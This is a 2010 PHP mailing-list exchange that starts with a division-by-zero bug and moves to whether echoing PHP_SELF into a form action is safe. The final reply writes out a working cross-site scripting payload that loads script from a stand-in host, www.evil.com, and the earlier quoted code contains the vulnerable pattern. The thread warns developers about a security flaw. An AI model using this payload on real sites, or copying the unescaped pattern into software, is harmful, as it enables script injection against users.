Re: [PHP] Division by 0

[email protected] (Daniel Egeberg)
Newsgroups php.general
Message-ID <[email protected]>
On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <[email protected]> wrote:
> Hi Jochem,
>
> Jochem Maas wrote:
>>
>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>
>>> Looks to me like you are closing your form before you put anything in
>>> it.  Therefore, the loan_amount is not set making the value 0.  Follow
>>> the math, and you are dividing by 1-1.
>>>
>>> Change this line:
>>>
>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
>>>
>>> to:
>>>
>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>>
>> this is a XSS waiting to happen. I can put something like the following in
>> the request uri:
>>
>> index.php?" onsubmit="evil()"><script
>> src="http://www.evil.com/evi.js"></script>
>>
> Apparently it's not going to work. PHP_SELF does not include query string.
> So it is safe to use it this way.
>
> Regards,
> Dmitry

No, it is not safe...

This won't work:
  index.php?" onsubmit="evil()"><script
src="http://www.evil.com/evi.js"></script>

But this will:
  index.php/" onsubmit="evil()"><script
src="http://www.evil.com/evi.js"></script>

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